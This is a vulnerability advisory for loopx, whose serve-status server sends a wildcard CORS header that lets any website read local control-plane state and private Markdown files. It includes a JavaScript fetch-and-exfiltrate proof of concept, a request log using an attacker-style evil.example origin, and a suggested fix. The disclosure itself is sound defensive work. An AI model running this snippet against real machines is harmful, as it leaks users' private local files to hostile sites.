loopx
Affected
- introduced
0.0.1, fixed0.4.5(ecosystem)
Fixed versions
0.4.5
Fix
- Fixed version
0.4.5pip install --upgrade loopx==0.4.5
Advisory
Also known as: CVE-2026-108372
LoopX serve-status permissive CORS policy exposes control-plane state and private Markdown files
Summary
loopx serve-status sends Access-Control-Allow-Origin: * on every response,
including its unauthenticated GET routes. Because the endpoint is unauthenticated and
bound to a fixed, well-known loopback port, **any website the operator visits can read
LoopX control-plane state and the contents of Markdown files inside every registered goal
repo**, using a plain fetch() with no user interaction.
The write endpoints are *not* affected — they are correctly Origin-checked. This report is
strictly about the read paths.
Impact
While loopx serve-status is running, a page on any origin can run:
// no interaction, no preflight, no credentials needed
const s = await (await fetch('http://127.0.0.1:8766/status.json')).json();
for (const g of s.goals ?? []) {
const m = await (await fetch(
`http://127.0.0.1:8766/review-material?goal_id=${g.id}&path=design-notes.md`
)).json();
exfiltrate(m.content);
}
and read back:
registry, runtime_root). With --global-registry this covers every project registered on the machine, not just one..md/.markdown file under a goal's repo root, state dir, or runtime dir. In practice that is the operator's private design notes, handoff docs, and evidence write-ups.do_OPTIONS returns Access-Control-Allow-Headers: Content-Type, so a cross-origin JSON POST passes preflight. The response leaks the before/after control-plane configuration for a goal. (It does not write — I verified written=false.)docs/public-private-boundary.md classifies "local absolute paths", "task ids", "raw logs
and metrics" and "active goal state that reveals current user context" as material that
must stay private. All of it is currently readable by any origin.
Two things make this more than theoretical:
8765 (project) and 8766 (global) are hardcoded defaults, so an attacker page can simply try both — no discovery step needed.docs/guides/getting-started.md documents loopx serve-status, and scripts/macos-dashboard-launchagent.sh installs a LaunchAgent that keeps serve-status --global-registry --port 8766 running after every login. For anyone following that guide, this is an always-on, machine-wide read surface.I have graded this High on the basis of zero-interaction exfiltration of private local
material from a persistent service. It is read-only and scope-limited, so if you read the
exposure as lower I would not argue the point — you know your users' setups better than I do.
Location
loopx/status_server.py:136-146 — StatusRequestHandler._send_json():
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
...
self.send_header("Access-Control-Allow-Origin", "*") # <-- line 142
_send_json is the single response path for *all* routes, so the wildcard is applied to/status.json, /review-material, /healthz, / and the dry-run POSTs alike.do_OPTIONS (:148-153) repeats it.
Confirmed present at main HEAD (b0c8e315, blob c9e53d1a) at the time of writing.
What is NOT affected (I checked, so you don't have to)
I tried to refute this before reporting. These controls all hold:
--enable-reward-write-api and --enable-control-plane-write-api both on, POST /reward/append and POST /control-plane/configure-goal/apply return 403 "only accepts loopback browser origins" for a foreign Origin. is_loopback_origin() does its job. There is no cross-origin write, and DNS rebinding does not defeat it either (the rebound page still carries its own non-loopback origin).../../../../etc/hostname → 400; an absolute .md outside the goal roots → 400 ("outside the goal repo/state/runtime roots"). path_is_under() is correct.secrets.env inside the repo → 400. Only .md/.markdown can be read.configure_goal_with_global_sync(execute=False) returns before any write; I observed written=false.So the exposure is confined to: status JSON + Markdown under registered goal roots. That is
still private material, but it is not arbitrary file read and it is not remote code
execution.
Proof of concept
Run against an unmodified clone at HEAD, default flags (no write APIs enabled):
GET /healthz Origin: https://evil.example -> 200 ACAO: '*'
GET / Origin: https://evil.example -> 200 ACAO: '*'
GET /status.json Origin: https://evil.example -> 200 ACAO: '*'
GET /review-material?goal_id=victim-goal&path=internal-design-notes.md
Origin: https://evil.example -> 200 ACAO: '*'
content: "# Internal notes\n\nPROD_DB_HOST=db.internal.corp\nCONFIDENTIAL: ..."
The file content came back verbatim to a foreign origin. Matched controls from the same
harness, with both write flags enabled (i.e. the configuration most favourable to the
current design):
POST /reward/append Origin: https://evil.example -> 403 (origin check)
POST /control-plane/configure-goal/apply Origin: https://evil.example -> 403 (origin check)
GET /review-material ../../../../etc/hostname -> 400 (traversal blocked)
GET /review-material <abs path outside roots>.md -> 400 (root check)
GET /review-material secrets.env -> 400 (extension check)
GET /status.json Origin: https://evil.example -> 200 ACAO '*' <-- still readable
I am happy to send the exact harness script if it is useful; it is ~120 lines of stdlib
Python and touches no file in the repo.
Suggested fix
You already have the right predicate in this file — is_loopback_origin(). The minimal fix
is to stop emitting the wildcard and instead echo the request origin only when it passes
that check:
def _send_json(self, payload: dict[str, Any], *, status: int = 200) -> None:
body = json.dumps(payload, ensure_ascii=False, indent=2).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json; charset=utf-8")
self.send_header("Content-Length", str(len(body)))
self.send_header("Cache-Control", "no-store")
origin = self.headers.get("Origin")
if origin and is_loopback_origin(origin):
self.send_header("Access-Control-Allow-Origin", origin)
self.send_header("Vary", "Origin")
# no Origin header (curl, the CLI, a same-origin fetch) -> send no ACAO at all
self.end_headers()
self.wfile.write(body)High Basis: The source's own band: HIGH
0.0.1, fixed 0.4.5 (ecosystem)0.4.5
0.4.5pip install --upgrade loopx==0.4.5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0